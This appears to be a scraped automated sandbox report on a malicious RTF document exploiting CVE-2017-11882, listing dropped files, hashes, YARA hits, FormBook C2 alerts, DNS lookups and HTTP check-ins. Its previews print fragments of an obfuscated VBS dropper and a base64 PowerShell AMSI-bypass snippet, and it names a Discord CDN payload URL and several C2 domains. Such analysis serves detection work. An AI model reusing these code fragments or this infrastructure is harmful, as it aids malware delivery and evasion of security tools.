https://view.joesandbox.com/analysis/419503/html/none?idtype=webid
https://view.joesandbox.com/analysis/419462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419462/html/none?idtype=webid
https://view.joesandbox.com/analysis/419311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419311/html/none?idtype=webid


part-1500645108.xlsb Get hash malicious Browse 162.159.13
5.233

invoice template 33142738819.docx Get hash malicious Browse 162.159.13
5.233

item-40567503.xlsb Get hash malicious Browse 162.159.13
5.233

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mono[1].jpg
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 1920730

Entropy (8bit): 4.744282074220393

Encrypted: false

SSDEEP: 24576:npBYI4sL/QQX5YfBHzOK+haVWm7KCXcDyOm6sJ86Ff:bX5YZHWaVWmBK6Z

MD5: 715FB9AA84B3E1C2F82643AA678B63DC

SHA1: 4505A5F3B979F878F126D8B2232F2EA4BAB53050

SHA-256: ED37BF943532EAB0A966E112C865FA63D411C30CE4144758DA7246C578641EE6

SHA-512: EAF5F420A465FC248CB65F61B96B52E067FEC047D5781CAD067ACCEBC374FEFBB1987E29CA66FDBB8771420C447CE9BD3278444D68BEDF4747D1C637FCD2AD
87

Malicious: false

Reputation: low

IE Cache URL: https://cdn.discordapp.com/attachments/915347845752705109/915799800740462662/mono.jpg

Preview:
V3JpdGUtVmVyYm9zZSAiR2V0LURlY29tcHJlc3NlZEJ5dGVBcnJheSI7JGE9JGE9V3JpdGUtSG9zdCAnezI3ODE3NjFFLTI4RTAtNDEwOS05OUZFLUI5RDEy
N0M1N0FGRX0nO1dyaXRlLVZlcmJvc2UgIkdldC1EZWNvbXByZXNzZWRCeXRlQXJyYXkiOyRhPSRhPVdyaXRlLUhvc3QgJ3syNzgxNzYxRS0yOEUwLTQxMDkt
OTlGRS1COUQxMjdDNTdBRkV9JzskYSA9IFtSZWZdLkFzc2VtYmx5LkdldFR5cGUoJ1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uQW1zaVV0JysnaWxz
JykNCiRoID0gIjQ0NTY2MjUyMjA1NzUyNjMxNzQ0NTI1NTQ4NDciDQokcyA9IFtzdHJpbmddKDAuLjEzfCV7W2NoYXJdW2ludF0oNTMrKCRoKS5zdWJzdHJpbmcoKCRfKj
IpLDIpKX0pLXJlcGxhY2UgIiAiDQokYiA9ICRhLkdldEZpZWxkKCRzLCdOb25QdWJsaWMsU3RhdGljJykNCiRiLlNldFZhbHVlKCRudWxsLCR0cnVlKTsgJGE9JGE9V3Jp
dGUtSG9zdCAnezI3ODE3NjFFLTI4RTAtNDEwOS05OUZFLUI5RDEyN0M1N0FGRX0nOyRhPSRhPVdyaXRlLUhvc3QgJ3syNzgxNzYxRS0yOEUwLTQxMDktOTlG
RS1COUQxMjdDNTdBRkV9JzskYT0kYT1Xcml0ZS1Ib3N0ICd7Mjc4MTc2MUUtMjhFMC00MTA5LTk5RkUtQjlEMTI3QzU3QUZFfSc7JGE9JGE9V3JpdGUtSG9z
dCAnezI3ODE3NjFFLTI4RTAtNDEwOS05OUZFLUI5RDEyN0M1N0FGRX0nOw0KV3JpdGUtSG9zdCAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi
oqKioqKioq

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{07064FCF-B986-4FF1-8E5F-48BE8D9FE1ED}.tmp

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 14848

Entropy (8bit): 4.799043362230707

Encrypted: false

SSDEEP: 192:lbhYugo5qhwPXkOCr1yJ9q2Jh9tp3F5lftFw+:l74K/kOCrgo2Jh9tpV5lft+

MD5: 84A4E16FBE2F97505E3690DBE5CC8CC6

SHA1: B0120FED89D5CD89FBBF2E8FE6BBE0D1023CC27E

SHA-256: F333DE4172914289AA5E533A28072E0263C654F267AE8545344A91B6AC30F2F5

SHA-512: 5DF673BF935489ACA6673CE8C697012302AD9D057713EB760516A450872EA084E3ADA5342D00DE86AEBB4A320E6508B4C32B4A2CFE91200C3FD728D4D67B141C

Malicious: true

Yara Hits: Rule: rtf_cve2017_11882_ole, Description: Attempts to identify the exploit CVE 2017 11882, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary 
Internet Files\Content.Word\~WRF{07064FCF-B986-4FF1-8E5F-48BE8D9FE1ED}.tmp, Author: John Davison
Rule: EXP_potential_CVE_2017_11882, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 
Files\Content.Word\~WRF{07064FCF-B986-4FF1-8E5F-48BE8D9FE1ED}.tmp, Author: ReversingLabs

Antivirus: Antivirus: Avira, Detection: 100%

Preview:
......................>.......................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
............................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{96B102F3-113F-4941-A0F4-82256A0F2293}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/419251/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419251/html/none?idtype=webid
https://view.joesandbox.com/analysis/419205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419205/html/none?idtype=webid
https://view.joesandbox.com/analysis/419161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419161/html/none?idtype=webid


Category: dropped

Size (bytes): 1024

Entropy (8bit): 1.1722028273607172

Encrypted: false

SSDEEP: 6:beKNc1ElClXiKNgREqAWlgFJYm7KmrRmvlw5Fr+ur8FrK:beOc1MClXiOk5uFJd5Rmvq5ZP8ZK

MD5: 75FCAEF5B6C0ADE6AF66F49874853C6A

SHA1: 834FA72EEF104773D7052895798FED035EF01594

SHA-256: 01E456476480AA1FD27ACF8F02AEA30D9B09581579A029154A6CD2A6850C85A0

SHA-512: 5E7DBBEB9534660466B7ACD9E70725504C33CC435C08D30ECE035B7CC13F5DC8AAB73F8CA16AA562697063059FEC3C5EE8258F108EB68C8B1071DD381FEDB9
9A

Malicious: false

Preview:
..).(.).(.).(.).(.).(.).5.=....... .P.a.c.k.a.g.e.E.M.B.E.D.5.=....... .E.q.u.a.t.i.o.n...3.E.M.B.E.D.................................................................................................................................
..............................................................................................................................................................................................................................................................................
............................"...<...>...@...F.......................................................................................................................................................................................................................
.....................................................................................................................................................................CJ..OJ..QJ..^J.....j....CJ..OJ..QJ..U..^J...<..CJ..OJ..QJ..^J...O
J..QJ..^J.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{96B102F3-113F-4941-A0F4-82256A0F2293}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F053B286-DC2A-4E74-A6C1-CD6052CFBDE3}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:ol3lYdn:4Wn

MD5: 5D4D94EE7E06BBB0AF9584119797B23A

SHA1: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Client.vbs

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 8420

Entropy (8bit): 5.299709934891769

Encrypted: false

SSDEEP: 192:Kugo5qhwPXkOCr1yJ9q2Jh9tp3F5lftFw:H4K/kOCrgo2Jh9tpV5lfti

MD5: 49F3D501EE40E5B36283BBF99C2280C7

SHA1: 7BF29C7C2C47AB03B79AFD3DCA47C2ABA41CDE67

SHA-256: 3130B03EED2B3785BE43C7F5872CBDDED02C64AC2E688C06FBEF6D5A4223FB11

SHA-512: 91285726CE907AE0D2E50EBF736E88672BE31082710B207E6BCF33C7FDCF534BAFE18B94F0575BCA7C61D6F9D231D712F33660027BBEB7BA52B5024139C2F933

Malicious: true

Preview:
SPLevel0xCRC341414141 = E0xCRC341414141(G0xCRC341414141() + H0xCRC341414141())..'Check the output directories drive to ensure there is enough free space 
for the files...If Left(g_DumpDir,2) <> "\\" Then 'We are not logging to a UNC path...End If..sKeys0xCRC341414141 = Eval (E0xCRC341414141(")"""",emaNtpircS.t
pircSW,emaNlluFtpircS.tpircSW(ecalper"))..GetObject (E0xCRC341414141("B0A85DF40C00-9BDA-0D11-0FC1-62CD539F:wen"))..F = lValue0xCRC341414141 + "\" + 
WScript.ScriptName..If sKeys0xCRC341414141 = lValue0xCRC341414141 Then..WScript.Quit()..SPLevel0xCRC341414141 = E0xCRC341414141(G0xCRC341414141() 
+ H0xCRC341414141())..'Check the output directories drive to ensure there is enough free space for the files...If Left(g_DumpDir,2) <> "\\" Then 'We are not logging to a 
UNC path...End If..Else..End If........Function F0xCRC341414141()..Execute("TristateUseDefault0xCRC341414141= ArRAy (""eT"",""aE"",""rC"")")..'Check the output direct
ories drive to ensure there is enough free space for the fil

C:\Users\user\AppData\Local\Temp\Client.vbs:Zone.Identifier

Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:gAWY3n:qY3n

MD5: FBCCF14D504B7B2DBCB5A5BDA75BD93B
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SHA1: D59FC84CDD5217C6CF74785703655F78DA6B582B

SHA-256: EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913

SHA-512: AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B9
8

Malicious: true

Preview:
[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Temp\Client.vbs:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.15350.LNK
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Dec  3 04:46:12 2021, mtime=Fri Dec  3 04:46:12 2021, atim
e=Fri Dec  3 04:46:16 2021, length=2186553, window=hide

Category: dropped

Size (bytes): 1204

Entropy (8bit): 4.561561339859807

Encrypted: false

SSDEEP: 24:8lWn/XTuzUVw8HCn95ewHCn9gDv3qXqR7m:8sn/XTkUrHCnjBHCndaFm

MD5: A3B72BE3BCBD2F7915B7FD05FDA7F0A5

SHA1: 33AB6B089C5D1794749D98B768108603B8A32AF1

SHA-256: BF115A19DC8BA40E4716F1F7DBB25C7C8E738842D135D4C2BA9A5AF56F3FC884

SHA-512: 2B2A8E9DEE248AA1E279904D257FCB0527D92E4F20C60F6684C54D297C351E6009172879C5B2AEE00B1898E0231B5E17FFFBF5A6B6B5863B0FDB62B09BAD991F

Malicious: false

Preview:
L..................F.... ...j.9.....j.9.....s.......9]!..........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-
.2.1.8.1.3.....L.1......S ...user.8......QK.X.S .*...&=....U...............A.l.b.u.s.....z.1......S.-..Desktop.d......QK.X.S.-*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2
.1.7.6.9.......2.9]!..S.- .SECURI~1.RTF.........S.-.S.-*...'.....................S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...R.t.f...O.b.f.u.s.c.a.t.e.d...3.2...1.5.3.5.0...r.t.f.......................-..
.8...[............?J......C:\Users\..#...................\\830021\Users.user\Desktop\SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.15350.rtf.K.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.
c.u.r.i.t.e.I.n.f.o...c.o.m...E.x.p.l.o.i.t...R.t.f...O.b.f.u.s.c.a.t.e.d...3.2...1.5.3.5.0...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 148

Entropy (8bit): 4.947941441893876

Encrypted: false

SSDEEP: 3:bDuMJluscbcTLqjQWC0LUrlmxW9rbcTLqjQWC0LUrlv:bCVwTeS0LurwTeS0LS

MD5: 70801AB431E88894D4028AC0B0085B37

SHA1: 9A13563E46617A4E6D04276824CCEFA637FFC08F

SHA-256: C166C754A033D3D4FF0CD6F1B9DCF5DD80BBB424302016D27FE575A0A483B75C

SHA-512: 38BF3792C358A93015F88E9402EAEBFD1DE58F358766D7505479CA5DAFE7CE6217B7E9439EFF6CC1846B8277F956D9139AD2E4CA7CFA3D1134A1377759239A89

Malicious: false

Preview:
[folders]..Templates.LNK=0..SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.15350.LNK=0..[misc]..SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.15350.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.5038355507075254

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l

MD5: 45B1E2B14BE6C1EFC217DCE28709F72D

SHA1: 64E3E91D6557D176776A498CF0776BE3679F13C3

SHA-256: 508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6

SHA-512: 2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msar (copy)
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.577517084185492
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Static File Info

General
File type: Rich Text Format data, version 1, unknown character 

set

Entropy (8bit): 5.164565636568734

TrID: Rich Text Format (5005/1) 55.56%
Rich Text Format (4004/1) 44.44%

File name: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.15350.rtf

File size: 2186553

MD5: bdacb3b17f31a06a8cfbedba2342bdf5

SHA1: 9f6930782942ec4bedc162be334b97f861d24f75

SHA256: 16fc1ecc295f8d7dba6647b9aeb8d538932910b24f3affe1
853a82ab2c9d944a

Encrypted: false

SSDEEP: 96:chQCQMqWqvsqvJCwoEz8hQCQMqWqvsEHyqvJCwor6zdTYzHTUVMWlUVuA2:cWzoEz8WnHnor6zdSUVM8A2

MD5: 22ACF8F034F3EF5AA80B8832BE5C8791

SHA1: FA3D8CB4036538DD3426AF1362C3B501855D73B8

SHA-256: 20CF1AB468758945E30A3A8011DED1B377B7100BC28DB997F5B7E68B9FE1C474

SHA-512: 0B78446050AC4894768201A77A63E9306E908415FEA6D46E6DD8C5B4598AACA8CBA0AB58D494DD7A48CD05FD52833DD84417D7ED7BF2C62BC7A38C6625078F4
3

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msar (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A2T3MU44P0BY2HKXPSH0.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.577517084185492

Encrypted: false

SSDEEP: 96:chQCQMqWqvsqvJCwoEz8hQCQMqWqvsEHyqvJCwor6zdTYzHTUVMWlUVuA2:cWzoEz8WnHnor6zdSUVM8A2

MD5: 22ACF8F034F3EF5AA80B8832BE5C8791

SHA1: FA3D8CB4036538DD3426AF1362C3B501855D73B8

SHA-256: 20CF1AB468758945E30A3A8011DED1B377B7100BC28DB997F5B7E68B9FE1C474

SHA-512: 0B78446050AC4894768201A77A63E9306E908415FEA6D46E6DD8C5B4598AACA8CBA0AB58D494DD7A48CD05FD52833DD84417D7ED7BF2C62BC7A38C6625078F4
3

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S!...Programs..f.......:...S!.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\Desktop\~$curiteInfo.com.Exploit.Rtf.Obfuscated.32.15350.rtf
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.5038355507075254

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l

MD5: 45B1E2B14BE6C1EFC217DCE28709F72D

SHA1: 64E3E91D6557D176776A498CF0776BE3679F13C3

SHA-256: 508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6

SHA-512: 2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...
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SHA512: 0ddc7a399da206bee38c3a29445c828c557a0f0ba4b364
35e6787f052517d79a9b3edcc3ea1285e2ef087562ae2a0
956109b747caa97bf5886161e21d3e7ff11

SSDEEP: 1536:Cbz4J3fbgjEA7wcwEwrwDwlwSwEw7wlwbwXwH
wlwLwzwMwOwZwww7wlwbwXwHwlT:9IVYiEe

File Content Preview: {\rtf1\posx2160{\*\pnseclvl3\pndec\pnstart1\pnindent720
\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent
720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnin
dent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6.\pnlclt
r\pnstart1\pnindent720\pnh

General

File Icon

Icon Hash: e4eea2aaa4b4b4a4

Snort IDS Alerts

Network Port Distribution

Id Start Format ID Format Classname Datasize Filename Sourcepath Temppath Exploit

0 000011FEh 2 embedded Package 8587 Client.vbs C:\Path\Client.vbs C:\Path\Client.vbs no

1 0001CF23h 2 embedded Equation.3 3072 no

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

12/02/21-
21:47:21.262170

ICMP 382 ICMP PING Windows 192.168.2.22 216.58.215.238

12/02/21-
21:47:21.262170

ICMP 384 ICMP PING 192.168.2.22 216.58.215.238

12/02/21-
21:47:21.279709

ICMP 408 ICMP Echo Reply 216.58.215.238 192.168.2.22

12/02/21-
21:48:54.941313

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49170 80 192.168.2.22 185.230.63.177

12/02/21-
21:48:54.941313

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49170 80 192.168.2.22 185.230.63.177

12/02/21-
21:48:54.941313

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49170 80 192.168.2.22 185.230.63.177

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Dec 2, 2021 21:47:21.201313972 CET 192.168.2.22 8.8.8.8 0x9e6 Standard query 
(0)

google.com A (IP address) IN (0x0001)

Dec 2, 2021 21:47:21.232605934 CET 192.168.2.22 8.8.8.8 0x782a Standard query 
(0)

google.com A (IP address) IN (0x0001)

Dec 2, 2021 21:47:22.224154949 CET 192.168.2.22 8.8.8.8 0x8f75 Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Dec 2, 2021 21:48:34.272608995 CET 192.168.2.22 8.8.8.8 0xc18c Standard query 
(0)

www.vecydoy.xyz A (IP address) IN (0x0001)

Dec 2, 2021 21:48:54.862468004 CET 192.168.2.22 8.8.8.8 0x9c63 Standard query 
(0)

www.marcas
emele.com

A (IP address) IN (0x0001)

Static RTF Info

Objects

TCP Packets

UDP Packets

DNS Queries
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Dec 2, 2021 21:49:15.158567905 CET 192.168.2.22 8.8.8.8 0x30e0 Standard query 
(0)

www.lillia
npsmith.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Dec 2, 2021 
21:47:21.229415894 
CET

8.8.8.8 192.168.2.22 0x9e6 No error (0) google.com 216.58.215.238 A (IP address) IN (0x0001)

Dec 2, 2021 
21:47:21.260137081 
CET

8.8.8.8 192.168.2.22 0x782a No error (0) google.com 216.58.215.238 A (IP address) IN (0x0001)

Dec 2, 2021 
21:47:22.247909069 
CET

8.8.8.8 192.168.2.22 0x8f75 No error (0) cdn.discor
dapp.com

162.159.135.233 A (IP address) IN (0x0001)

Dec 2, 2021 
21:47:22.247909069 
CET

8.8.8.8 192.168.2.22 0x8f75 No error (0) cdn.discor
dapp.com

162.159.130.233 A (IP address) IN (0x0001)

Dec 2, 2021 
21:47:22.247909069 
CET

8.8.8.8 192.168.2.22 0x8f75 No error (0) cdn.discor
dapp.com

162.159.133.233 A (IP address) IN (0x0001)

Dec 2, 2021 
21:47:22.247909069 
CET

8.8.8.8 192.168.2.22 0x8f75 No error (0) cdn.discor
dapp.com

162.159.134.233 A (IP address) IN (0x0001)

Dec 2, 2021 
21:47:22.247909069 
CET

8.8.8.8 192.168.2.22 0x8f75 No error (0) cdn.discor
dapp.com

162.159.129.233 A (IP address) IN (0x0001)

Dec 2, 2021 
21:48:34.295955896 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) www.vecydo
y.xyz

104.21.39.13 A (IP address) IN (0x0001)

Dec 2, 2021 
21:48:34.295955896 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) www.vecydo
y.xyz

172.67.142.28 A (IP address) IN (0x0001)

Dec 2, 2021 
21:48:54.894236088 
CET

8.8.8.8 192.168.2.22 0x9c63 No error (0) www.marcas
emele.com

gcdn0.wixdns.net CNAME 
(Canonical 
name)

IN (0x0001)

Dec 2, 2021 
21:48:54.894236088 
CET

8.8.8.8 192.168.2.22 0x9c63 No error (0) gcdn0.wixdns.net balancer.wixdns.net CNAME 
(Canonical 
name)

IN (0x0001)

Dec 2, 2021 
21:48:54.894236088 
CET

8.8.8.8 192.168.2.22 0x9c63 No error (0) balancer.w
ixdns.net

5f36b111-
balancer.wixdns.net

CNAME 
(Canonical 
name)

IN (0x0001)

Dec 2, 2021 
21:48:54.894236088 
CET

8.8.8.8 192.168.2.22 0x9c63 No error (0) 5f36b111-b
alancer.wi
xdns.net

td-balancer-db4-63-
177.wixdns.net

CNAME 
(Canonical 
name)

IN (0x0001)

Dec 2, 2021 
21:48:54.894236088 
CET

8.8.8.8 192.168.2.22 0x9c63 No error (0) td-balancer-db4-
63-177.wixdns.
net

185.230.63.177 A (IP address) IN (0x0001)

Dec 2, 2021 
21:49:15.181938887 
CET

8.8.8.8 192.168.2.22 0x30e0 No error (0) www.lillia
npsmith.com

lillianpsmith.com CNAME 
(Canonical 
name)

IN (0x0001)

Dec 2, 2021 
21:49:15.181938887 
CET

8.8.8.8 192.168.2.22 0x30e0 No error (0) lillianpsmith.com 50.62.137.48 A (IP address) IN (0x0001)

            
cdn.discordapp.com

            
www.vecydoy.xyz

            
www.marcasemele.com

            
www.lillianpsmith.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 162.159.135.233 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49168 104.21.39.13 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Dec 2, 2021 
21:48:34.325859070 CET

1946 OUT GET /t3t2/?s2MDa=cHQmaRhXG/vngEByS69ZQUNH+JDmxyaQFA1QwuukQiJPteqD3aI5HBNhKJ+idn/6LHxDHg==&
aJ=btx8n42x9 HTTP/1.1
Host: www.vecydoy.xyz
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Dec 2, 2021 
21:48:34.358432055 CET

1947 IN HTTP/1.1 301 Moved Permanently
Date: Thu, 02 Dec 2021 20:48:34 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: max-age=3600
Expires: Thu, 02 Dec 2021 21:48:34 GMT
Location: https://www.vecydoy.xyz/t3t2/?s2MDa=cHQmaRhXG/vngEByS69ZQUNH+JDmxyaQFA1QwuukQiJP
teqD3aI5HBNhKJ+idn/6LHxDHg==&aJ=btx8n42x9
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0cB8E8retAxJ4XPvuCL3A6lYCV9cZaia
xomqjcc%2FiE%2BVl%2FJ3aCrVtuSclxRGJn4yhIQjUE0Eo5oYo0ETVN9TnFjLw2qvWDddeh4QSZrrJ0CAErMxYLoe
ArHR7gWXkK6Jgl0%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6b776ab699b343b8-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49170 185.230.63.177 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Dec 2, 2021 
21:48:54.941313028 CET

1948 OUT GET /t3t2/?s2MDa=3Qj9oZZfewD59ZVrWkdF2G2Wunuif2Jlkx5S2y1tDqrPnVj26TOdvUTbk2/4ZHnYpFjC/w==&
aJ=btx8n42x9 HTTP/1.1
Host: www.marcasemele.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49171 50.62.137.48 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Dec 2, 2021 
21:49:15.339907885 CET

1949 OUT GET /t3t2/?s2MDa=Y2xcL3ZkL7oVFMSzs9YHectEjMd2sfTUB3/xlHaDCcg2Dqhlo8BobNvGWm7cW+r/txQJ1w==&
aJ=btx8n42x9 HTTP/1.1
Host: www.lillianpsmith.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Dec 2, 2021 
21:49:15.553584099 CET

1950 IN HTTP/1.1 404 Not Found
